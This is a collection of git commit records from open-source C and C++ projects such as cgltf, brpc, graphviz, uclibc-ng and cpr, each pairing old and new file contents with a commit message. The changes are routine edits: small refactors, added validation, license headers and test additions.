{"commit":"cd0f72316db95b941ab54a682a7687dbbd83f0a5","old_file":"test\/main.c","new_file":"test\/main.c","old_contents":"\n\n#define CGLTF_IMPLEMENTATION\n#include \"..\/cgltf.h\"\n\n#include <stdio.h>\n\nint main(int argc, char** argv)\n{\n\tif (argc < 2)\n\t{\n\t\tprintf(\"err\\n\");\n\t\treturn -1;\n\t}\n\n\tcgltf_options options = {0};\n\tcgltf_data* data = NULL;\n\tcgltf_result result = cgltf_parse_file(&options, argv[1], &data);\n\n\tif (result == cgltf_result_success)\n\t\tresult = cgltf_load_buffers(&options, data, argv[1]);\n\n\tprintf(\"Result: %d\\n\", result);\n\n\tif (result == cgltf_result_success)\n\t{\n\t\tprintf(\"Type: %u\\n\", data->file_type);\n\t\tprintf(\"Meshes: %lu\\n\", data->meshes_count);\n\t}\n\n\tcgltf_free(data);\n\n\treturn result;\n}\n","new_contents":"\n\n#define CGLTF_IMPLEMENTATION\n#include \"..\/cgltf.h\"\n\n#include <stdio.h>\n\nint main(int argc, char** argv)\n{\n\tif (argc < 2)\n\t{\n\t\tprintf(\"err\\n\");\n\t\treturn -1;\n\t}\n\n\tcgltf_options options = {0};\n\tcgltf_data* data = NULL;\n\tcgltf_result result = cgltf_parse_file(&options, argv[1], &data);\n\n\tif (result == cgltf_result_success)\n\t\tresult = cgltf_load_buffers(&options, data, argv[1]);\n\n\tif (result == cgltf_result_success)\n\t\tresult = cgltf_validate(data);\n\n\tprintf(\"Result: %d\\n\", result);\n\n\tif (result == cgltf_result_success)\n\t{\n\t\tprintf(\"Type: %u\\n\", data->file_type);\n\t\tprintf(\"Meshes: %lu\\n\", data->meshes_count);\n\t}\n\n\tcgltf_free(data);\n\n\treturn result;\n}\n","subject":"Add validation to test program","message":"Add validation to test program\n\nThis makes sure we exercise this code during CI for all test models.\n","lang":"C","license":"mit","repos":"jkuhlmann\/cgltf,jkuhlmann\/cgltf,jkuhlmann\/cgltf"}
{"commit":"70fd50533e75e7da1cc691b9da8e47af3d84ba3d","old_file":"src\/brpc\/server_node.h","new_file":"src\/brpc\/server_node.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2014 Baidu, Inc.\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ \n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ \n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Authors: Ge,Jun (gejun@baidu.com)\n\n#ifndef BRPC_SERVER_NODE_H\n#define BRPC_SERVER_NODE_H\n\n#include <string>\n#include \"butil\/endpoint.h\"\n\nnamespace brpc {\n\n\/\/ Representing a server inside a NamingService.\nstruct ServerNode {\n    ServerNode() {}\n    \n    explicit ServerNode(const butil::EndPoint& pt) : addr(pt) {}\n\n    ServerNode(butil::ip_t ip, int port, const std::string& tag2)\n        : addr(ip, port), tag(tag2) {}\n\n    ServerNode(const butil::EndPoint& pt, const std::string& tag2)\n        : addr(pt), tag(tag2) {}\n\n    ServerNode(butil::ip_t ip, int port) : addr(ip, port) {}\n\n    butil::EndPoint addr;\n    std::string tag;\n};\n\ninline bool operator<(const ServerNode& n1, const ServerNode& n2)\n{ return n1.addr != n2.addr ? (n1.addr < n2.addr) : (n1.tag < n2.tag); }\n\ninline bool operator==(const ServerNode& n1, const ServerNode& n2)\n{ return n1.addr == n2.addr && n1.tag == n2.tag; }\n\ninline bool operator!=(const ServerNode& n1, const ServerNode& n2)\n{ return !(n1 == n2); }\n\ninline std::ostream& operator<<(std::ostream& os, const ServerNode& n) {\n    os << n.addr;\n    if (!n.tag.empty()) {\n        os << \"(tag=\" << n.tag << ')';\n    }\n    return os;\n}\n\n} \/\/ namespace brpc\n\n#endif  \/\/ BRPC_SERVER_NODE_H\n","subject":"Move ServerNode into separate file","message":"Move ServerNode into separate file\n","lang":"C","license":"apache-2.0","repos":"brpc\/brpc,brpc\/brpc,brpc\/brpc,brpc\/brpc,brpc\/brpc"}
{"commit":"6ea1de571f78c28e304b7c9e496e98754fed8cbc","old_file":"Numerics\/src\/NonSmoothSolvers\/MCP\/MCP_driver.c","new_file":"Numerics\/src\/NonSmoothSolvers\/MCP\/MCP_driver.c","old_contents":"","new_contents":"\/* Siconos-Numerics, Copyright INRIA 2005-2011.\n * Siconos is a program dedicated to modeling, simulation and control\n * of non smooth dynamical systems.\n * Siconos is a free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n * Siconos is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Siconos; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n * Contact: Vincent ACARY, siconos-team@lists.gforge.inria.fr\n *\/\n\n\/\/#include \"SolverOptions.h\"\n\/\/#include \"MixedComplementarityProblem.h\"\n\n#include <assert.h>\n\n#include \"MCP_Solvers.h\"\n#include \"MCP_cst.h\"\n\nchar SICONOS_MCP_NEWTON_FBLSA_STR[] = \"Newton FBLSA\";\nchar SICONOS_MCP_NEWTON_MINFBLSA_STR[] = \"Newton minFBLSA\";\n\nint mcp_driver2(MixedComplementarityProblem2* problem, double *z , double *Fmcp, SolverOptions* options, NumericsOptions* global_options)\n{\n  assert(options != NULL);\n\n  \/* Set global options *\/\n  if (global_options)\n    setNumericsOptions(global_options);\n\n  \/* Checks inputs *\/\n  assert(problem != NULL);\n  assert(z != NULL);\n  assert(Fmcp != NULL);\n  \/* Output info. : 0: ok -  >0: error (which depends on the chosen solver) *\/\n  int info = -1;\n\n  switch (options->solverId)\n  {\n  case SICONOS_MCP_NEWTON_FBLSA: \/\/ Fischer-Burmeister\/Newton -- new version\n    mcp_newton_FBLSA(problem, z, Fmcp, &info, options);\n    break;\n\n  case SICONOS_MCP_NEWTON_MINFBLSA: \/\/ Fischer-Burmeister\/Newton + min descent direction\n    mcp_newton_minFBLSA(problem, z, Fmcp, &info, options);\n    break;\n\n  default:\n    fprintf(stderr, \"mcp_driver error: unknown solver id: %d\\n\", options->solverId);\n    exit(EXIT_FAILURE);\n  }\n\n  return info;\n}\n","subject":"Fix lower\/uppercase file name stuff. Please remember Macos users and do not change filename from upper to lowercase ...","message":"Fix lower\/uppercase file name stuff. Please remember Macos users and do not change filename from upper to lowercase ...\n","lang":"C","license":"apache-2.0","repos":"fperignon\/siconos,siconos\/siconos,siconos\/siconos-deb,fperignon\/siconos,fperignon\/siconos,fperignon\/siconos,siconos\/siconos-deb,bremond\/siconos,radarsat1\/siconos,bremond\/siconos,radarsat1\/siconos,bremond\/siconos,siconos\/siconos,bremond\/siconos,radarsat1\/siconos,radarsat1\/siconos,siconos\/siconos-deb,siconos\/siconos-deb,siconos\/siconos,bremond\/siconos,fperignon\/siconos,siconos\/siconos-deb,radarsat1\/siconos,siconos\/siconos,siconos\/siconos-deb"}
{"commit":"9531b2a558971e61047019ad4eaa9ed0830442bd","old_file":"apps\/sensors\/main.c","new_file":"apps\/sensors\/main.c","old_contents":"#include <firestorm.h>\n#include <isl29035.h>\n#include <stdio.h>\n#include <stdbool.h>\n\nvoid print_intensity(int intensity) {\n  printf(\"Intensity: %d\\n\", intensity);\n}\n\nvoid intensity_cb(int intensity, int unused1, int unused2, void* ud) {\n  print_intensity(intensity);\n}\n\nvoid temp_callback(int temp_value, int err, int unused, void* ud) {\n  gpio_toggle(LED_0);\n  printf(\"Current Temp (%d) [0x%X]\\n\", temp_value, err);\n}\n\nvoid timer_fired(int arg0, int arg1, int arg2, void* ud) {\n  isl29035_start_intensity_reading();\n}\n\nint main() {\n  printf(\"Hello\\n\");\n  gpio_enable_output(LED_0);\n\n  isl29035_subscribe(intensity_cb, NULL);\n  \/\/ Setup periodic timer\n  timer_subscribe(timer_fired, NULL);\n  timer_start_repeating(1000);\n\n  tmp006_start_sampling(0x2, temp_callback, NULL);\n\n  return 0;\n}\n","new_contents":"#include <firestorm.h>\n#include <isl29035.h>\n#include <stdio.h>\n#include <stdbool.h>\n\nvoid print_intensity(int intensity) {\n  printf(\"Intensity: %d\\n\", intensity);\n}\n\nvoid intensity_cb(int intensity, int unused1, int unused2, void* ud) {\n  print_intensity(intensity);\n}\n\nvoid temp_callback(int temp_value, int err, int unused, void* ud) {\n  printf(\"Current Temp (%d) [0x%X]\\n\", temp_value, err);\n}\n\nvoid timer_fired(int arg0, int arg1, int arg2, void* ud) {\n  isl29035_start_intensity_reading();\n}\n\nint main() {\n  printf(\"Hello\\n\");\n\n  isl29035_subscribe(intensity_cb, NULL);\n  \/\/ Setup periodic timer\n  timer_subscribe(timer_fired, NULL);\n  timer_start_repeating(1000);\n\n  tmp006_start_sampling(0x2, temp_callback, NULL);\n\n  return 0;\n}\n","subject":"Remove blink functionality from \"sensors\" app","message":"Remove blink functionality from \"sensors\" app\n\nNow that we can run multiple apps simultaneously, it's easier to test\nthings if the sensors app doesn't clobber the blink app.\n","lang":"C","license":"apache-2.0","repos":"google\/tock-on-titan,google\/tock-on-titan,google\/tock-on-titan"}
{"commit":"e5fc7d47e00c9d375a320b97e19790715c6e8104","old_file":"liblick\/lick.h","new_file":"liblick\/lick.h","old_contents":"\/**\n * @file\n * @brief A convenience header\n *\n * A header which includes all headers needed for a front-end\n *\/\n\n#include \"boot-loader.h\"\n#include \"drives.h\"\n#include \"install.h\"\n#include \"lickdir.h\"\n#include \"llist.h\"\n#include \"menu.h\"\n#include \"system-info.h\"\n#include \"utils.h\"\n","new_contents":"\/**\n * @file\n * @brief A convenience header\n *\n * A header which includes all headers needed for a front-end\n *\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"boot-loader.h\"\n#include \"drives.h\"\n#include \"install.h\"\n#include \"lickdir.h\"\n#include \"llist.h\"\n#include \"menu.h\"\n#include \"system-info.h\"\n#include \"utils.h\"\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Add `extern \"C\"' to convenience headers","message":"Add `extern \"C\"' to convenience headers\n","lang":"C","license":"mit","repos":"noryb009\/lick,noryb009\/lick,noryb009\/lick"}
{"commit":"d53bc3437f941cf01bf709ddd8e9c394db095b7a","old_file":"libm\/s_isnan.c","new_file":"libm\/s_isnan.c","old_contents":"\/*\n * ====================================================\n * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.\n *\n * Developed at SunPro, a Sun Microsystems, Inc. business.\n * Permission to use, copy, modify, and distribute this\n * software is freely granted, provided that this notice\n * is preserved.\n * ====================================================\n *\/\n\n\/*\n * isnan(x) returns 1 is x is nan, else 0;\n * no branching!\n *\/\n\n#include \"math.h\"\n#include \"math_private.h\"\n\nint __isnan(double x)\n{\n\tint32_t hx,lx;\n\tEXTRACT_WORDS(hx,lx,x);\n\thx &= 0x7fffffff;\n\thx |= (u_int32_t)(lx|(-lx))>>31;\n\thx = 0x7ff00000 - hx;\n\treturn (int)(((u_int32_t)hx)>>31);\n}\nlibm_hidden_def(__isnan)\n","new_contents":"\/*\n * ====================================================\n * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.\n *\n * Developed at SunPro, a Sun Microsystems, Inc. business.\n * Permission to use, copy, modify, and distribute this\n * software is freely granted, provided that this notice\n * is preserved.\n * ====================================================\n *\/\n\n\/*\n * isnan(x) returns 1 is x is nan, else 0;\n * no branching!\n *\/\n\n#include \"math.h\"\n#include \"math_private.h\"\n\nint __isnan(double x)\n{\n\tint32_t hx,lx;\n\tEXTRACT_WORDS(hx,lx,x);\n\thx &= 0x7fffffff;\n\thx |= (u_int32_t)(lx|(-lx))>>31;\n\thx = 0x7ff00000 - hx;\n\treturn (int)(((u_int32_t)hx)>>31);\n}\nweak_alias(__isnan, isnan)\nlibm_hidden_def(__isnan)\n","subject":"Add isnan weak alias to __isnan","message":"isnan: Add isnan weak alias to __isnan\n\n\t* libm\/s_isnan.c: Add isnan weak alias.\n\nSigned-off-by: Mickaël Guêné <fd4c850767532186e170673aca49b5c51d48c53c@st.com>\nSigned-off-by: Christophe Lyon <0ec1b8ee85d9250d253c392c5d5101068ac5d5d3@st.com>\n","lang":"C","license":"lgpl-2.1","repos":"kraj\/uclibc-ng,wbx-github\/uclibc-ng,wbx-github\/uclibc-ng,wbx-github\/uclibc-ng,kraj\/uclibc-ng,wbx-github\/uclibc-ng,kraj\/uclibc-ng,kraj\/uclibc-ng"}
{"commit":"a99df4d6c91366304dcf55b986d555115e3cc6a6","old_file":"aimp_dotnet\/AIMPPlugin.h","new_file":"aimp_dotnet\/AIMPPlugin.h","old_contents":"#pragma once\n#include \"Services\\MenuManager\\ServiceMenuManager.h\"\n#include \"InternalLogger.h\"\n\nnamespace AIMP\n{\n\tnamespace SDK\n\t{\n\t\tusing namespace System;\n\t\tusing namespace AIMP::SDK::Interfaces;\n\n\t\tpublic ref class AimpPlugin abstract : public AimpPluginBase\n\t\t{\n\t\tpublic:\n\t\t\tAimpPlugin()\n\t\t\t{\n\n\t\t\t}\n\n\t\t\tproperty IAimpCore^ AimpCore\n\t\t\t{\n\t\t\t\tIAimpCore^ get()\n\t\t\t\t{\n\t\t\t\t\treturn _aimpCore;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tproperty IAimpPlayer^ Player\n\t\t\t{\n\t\t\t\tIAimpPlayer^ get()\n\t\t\t\t{\n\t\t\t\t\treturn (IAimpPlayer^) AimpPlayer;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tproperty AIMP::SDK::Logger::ILogger ^LoggerManager\n\t\t\t{\n\t\t\t\tAIMP::SDK::Logger::ILogger ^get()\n\t\t\t\t{\n\t\t\t\t\treturn AIMP::SDK::InternalLogger::Instance;\n\t\t\t\t}\n\t\t\t}\n\n\t\tprivate:\n\t\t\tIAimpCore^ _aimpCore;\n\t\t\tServiceMenuManager^ _menuManager;\n\t\t};\n\t}\n}","new_contents":"#pragma once\n#include \"Services\\MenuManager\\ServiceMenuManager.h\"\n#include \"InternalLogger.h\"\n\nnamespace AIMP\n{\n\tnamespace SDK\n\t{\n\t\tusing namespace System;\n\t\tusing namespace AIMP::SDK::Interfaces;\n\n\t\tpublic ref class AimpPlugin abstract : public AimpPluginBase\n\t\t{\n\t\tpublic:\n\t\t\tAimpPlugin()\n\t\t\t{\n\n\t\t\t}\n\n\t\t\tproperty IAimpCore^ AimpCore\n\t\t\t{\n\t\t\t\tIAimpCore^ get()\n\t\t\t\t{\n\t\t\t\t\treturn Player->Core;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tproperty IAimpPlayer^ Player\n\t\t\t{\n\t\t\t\tIAimpPlayer^ get()\n\t\t\t\t{\n\t\t\t\t\treturn (IAimpPlayer^) AimpPlayer;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tproperty AIMP::SDK::Logger::ILogger ^LoggerManager\n\t\t\t{\n\t\t\t\tAIMP::SDK::Logger::ILogger ^get()\n\t\t\t\t{\n\t\t\t\t\treturn AIMP::SDK::InternalLogger::Instance;\n\t\t\t\t}\n\t\t\t}\n\n\t\tprivate:\n\t\t\tServiceMenuManager^ _menuManager;\n\t\t};\n\t}\n}","subject":"Fix AimpPlugin.AimpCore property which was never initialized.","message":"Fix AimpPlugin.AimpCore property which was never initialized.\n\nRemove the _aimpCore field and use Player instead.\n","lang":"C","license":"apache-2.0","repos":"martin211\/aimp_dotnet,martin211\/aimp_dotnet,martin211\/aimp_dotnet,martin211\/aimp_dotnet,martin211\/aimp_dotnet"}
{"commit":"8aba5772afe0e409e2e6d52131433b0a79188f3a","old_file":"include\/response.h","new_file":"include\/response.h","old_contents":"#ifndef CPR_RESPONSE_H\n#define CPR_RESPONSE_H\n\n#include <string>\n\n#include \"cookies.h\"\n#include \"cprtypes.h\"\n\nnamespace cpr {\n    class Response {\n      public:\n        Response(const long& status_code, const std::string& text, const Header& header, const Url& url,\n                 const double& elapsed)\n            : status_code{status_code}, text{text}, header{header}, url{url}, elapsed{elapsed} {};\n        Response(const long& status_code, const std::string& text, const Header& header, const Url& url,\n                 const double& elapsed, const Cookies& cookies)\n            : status_code{status_code}, text{text}, header{header}, url{url}, elapsed{elapsed},\n              cookies{cookies} {};\n        Response() = default;\n\n        long status_code;\n        std::string text;\n        Header header;\n        Url url;\n        double elapsed;\n        Cookies cookies;\n    };\n\n}\n\n#endif\n","new_contents":"#ifndef CPR_RESPONSE_H\n#define CPR_RESPONSE_H\n\n#include <string>\n\n#include \"cookies.h\"\n#include \"cprtypes.h\"\n\nnamespace cpr {\n    class Response {\n      public:\n        Response() = default;\n        Response(const long& status_code, const std::string& text, const Header& header, const Url& url,\n                 const double& elapsed)\n            : status_code{status_code}, text{text}, header{header}, url{url}, elapsed{elapsed} {};\n        Response(const long& status_code, const std::string& text, const Header& header, const Url& url,\n                 const double& elapsed, const Cookies& cookies)\n            : status_code{status_code}, text{text}, header{header}, url{url}, elapsed{elapsed},\n              cookies{cookies} {};\n\n        long status_code;\n        std::string text;\n        Header header;\n        Url url;\n        double elapsed;\n        Cookies cookies;\n    };\n\n}\n\n#endif\n","subject":"Put the default constructor first","message":"Put the default constructor first\n","lang":"C","license":"mit","repos":"whoshuu\/cpr,SuperV1234\/cpr,SuperV1234\/cpr,msuvajac\/cpr,skystrife\/cpr,skystrife\/cpr,whoshuu\/cpr,msuvajac\/cpr,whoshuu\/cpr,SuperV1234\/cpr,msuvajac\/cpr,skystrife\/cpr"}
{"commit":"572e987700fc8c155853dba9b1f192d999caa083","old_file":"lib\/utilities\/utils.h","new_file":"lib\/utilities\/utils.h","old_contents":"","new_contents":"\/*-\n * Copyright (c) 1992, 1993, 1994 Henry Spencer.\n * Copyright (c) 1992, 1993, 1994\n *\tThe Regents of the University of California.  All rights reserved.\n *\n * This code is derived from software contributed to Berkeley by\n * Henry Spencer.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n *    must display the following acknowledgement:\n *\tThis product includes software developed by the University of\n *\tCalifornia, Berkeley and its contributors.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)utils.h\t8.3 (Berkeley) 3\/20\/94\n *\/\n\n\/* utility definitions *\/\n#ifndef _POSIX2_RE_DUP_MAX\n#define _POSIX2_RE_DUP_MAX 255\n#endif\n#define\tDUPMAX\t\t_POSIX2_RE_DUP_MAX\t\/* xxx is this right? *\/\n#define\tINFINITY\t(DUPMAX + 1)\n#define\tNC\t\t(CHAR_MAX - CHAR_MIN + 1)\ntypedef unsigned char uch;\n\n\/* switch off assertions (if not already off) if no REDEBUG *\/\n#ifndef REDEBUG\n#ifndef NDEBUG\n#define\tNDEBUG\t\/* no assertions please *\/\n#endif\n#endif\n#include <assert.h>\n\n\/* for old systems with bcopy() but no memmove() *\/\n#ifdef USEBCOPY\n#define\tmemmove(d, s, c)\tbcopy(s, d, c)\n#endif\n","subject":"Add smyrna to main graphviz tree","message":"Add smyrna to main graphviz tree\n","lang":"C","license":"epl-1.0","repos":"MjAbuz\/graphviz,ellson\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,ellson\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,ellson\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,tkelman\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,ellson\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,kbrock\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,ellson\/graphviz,kbrock\/graphviz"}
{"commit":"1b4d49cbf1b05997cd7fe468c06cf78a2a90af43","old_file":"modules\/seed-module.h","new_file":"modules\/seed-module.h","old_contents":"#ifndef _SEED_MODULE_H_\n#define _SEED_MODULE_H_\n\n#include \"..\/libseed\/seed.h\"\n\n\/\/ TODO: Move [example sqlite canvas Multiprocessing\n\/\/             os sandbox dbus libxml cairo]\n\/\/       towards utilization of this header.\n\n\/\/ Check that the required number of arguments were passed into a seed callback.\n\/\/ If this is not true, raise an exception and return null.\n\/\/ This requires the callback to use \"argument_count\", \"ctx\", and \"exception\"\n\/\/ as the names of the various function arguments.\n#define CHECK_ARG_COUNT(name, argnum) \\\n\tif ( argument_count != argnum ) \\\n\t{ \\\n\t\tseed_make_exception (ctx, exception, \"ArgumentError\", \\\n\t\t                     \"wrong number of arguments; wanted %s, got %Zd\", \\\n\t\t                     #argnum, argument_count); \\\n\t\treturn seed_make_undefined (ctx); \\\n\t}\n\n\/\/ Defines a property on holder for the given enum member\n#define DEFINE_ENUM_MEMBER(holder, member) \\\n\tseed_object_set_property(ctx, holder, #member, \\\n\t                         seed_value_from_long(ctx, member, NULL))\n\n\/\/ Defines a property on holder for the given enum member, with the given name\n#define DEFINE_ENUM_MEMBER_EXT(holder, name, val) \\\n\tseed_object_set_property(ctx, holder, name, \\\n\t                         seed_value_from_long(ctx, val, NULL))\n\n#endif\n","new_contents":"#ifndef _SEED_MODULE_H_\n#define _SEED_MODULE_H_\n\n#include \"..\/libseed\/seed.h\"\n\n\/\/ TODO: Move [example sqlite canvas Multiprocessing\n\/\/             os sandbox dbus libxml cairo]\n\/\/       towards utilization of this header.\n\n\/\/ Check that the required number of arguments were passed into a seed callback.\n\/\/ If this is not true, raise an exception and return null.\n\/\/ This requires the callback to use \"argument_count\", \"ctx\", and \"exception\"\n\/\/ as the names of the various function arguments.\n#define CHECK_ARG_COUNT(name, argnum) \\\n\tif ( argument_count != argnum ) \\\n\t{ \\\n\t\tseed_make_exception (ctx, exception, \"ArgumentError\", \\\n\t\t                     \"wrong number of arguments; expected %s, got %Zd\", \\\n\t\t                     #argnum, argument_count); \\\n\t\treturn seed_make_undefined (ctx); \\\n\t}\n\n\/\/ Defines a property on holder for the given enum member\n#define DEFINE_ENUM_MEMBER(holder, member) \\\n\tseed_object_set_property(ctx, holder, #member, \\\n\t                         seed_value_from_long(ctx, member, NULL))\n\n\/\/ Defines a property on holder for the given enum member, with the given name\n#define DEFINE_ENUM_MEMBER_EXT(holder, name, val) \\\n\tseed_object_set_property(ctx, holder, name, \\\n\t                         seed_value_from_long(ctx, val, NULL))\n\n#endif\n","subject":"Change wording of argument count check","message":"[modules] Change wording of argument count check\n","lang":"C","license":"lgpl-2.1","repos":"danilocesar\/seed,danilocesar\/seed,danilocesar\/seed,danilocesar\/seed,danilocesar\/seed"}
{"commit":"ac5d12bb0cdc8cf909ab0d711cbc2a370b1eece2","old_file":"test\/CodeGen\/mips-inline-asm-abi.c","new_file":"test\/CodeGen\/mips-inline-asm-abi.c","old_contents":"","new_contents":"\/\/ REQUIRES: mips-registered-target\n\/\/ RUN: %clang_cc1 -triple mips-linux-gnu -emit-obj -o - %s | \\\n\/\/ RUN:   llvm-readobj -h - | FileCheck %s\n\n\/\/ CHECK: EF_MIPS_ABI_O32\n\n__asm__(\n\"bar:\\n\"\n\"  nop\\n\"\n);\n\nvoid foo() {}\n","subject":"Add test case to check ABI flag emissions in case of inline assembler","message":"[mips] Add test case to check ABI flag emissions in case of inline assembler\n\nFollow up to r247546. The test case reproduces the problem fixed by this commit.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@247548 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"4ec209a4c7e1d9c0903f454c5aa3c8e2ed19edb0","old_file":"cmd\/smyrna\/topviewdefs.h","new_file":"cmd\/smyrna\/topviewdefs.h","old_contents":"#ifndef TOPVIEWDEFS_H\n#define TOPVIEWDEFS_H\n#include \"smyrnadefs.h\"\n#include \"gui.h\"\n#include \"tvnodes.h\"\n#include \"glcompset.h\"\n\n\n\n\n#endif\n","new_contents":"\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef TOPVIEWDEFS_H\n#define TOPVIEWDEFS_H\n#include \"smyrnadefs.h\"\n#include \"gui.h\"\n#include \"tvnodes.h\"\n#include \"glcompset.h\"\n\n\n\n\n#endif\n","subject":"Clean up smyrna files: remove unnecessary globals modify libraries not to rely on code in cmd\/smyrna remove static declarations from .h files remove unnecessary libraries mark unused code and clean up warnings","message":"Clean up smyrna files:\n  remove unnecessary globals\n  modify libraries not to rely on code in cmd\/smyrna\n  remove static declarations from .h files\n  remove unnecessary libraries\n  mark unused code and clean up warnings\n","lang":"C","license":"epl-1.0","repos":"MjAbuz\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,ellson\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,tkelman\/gr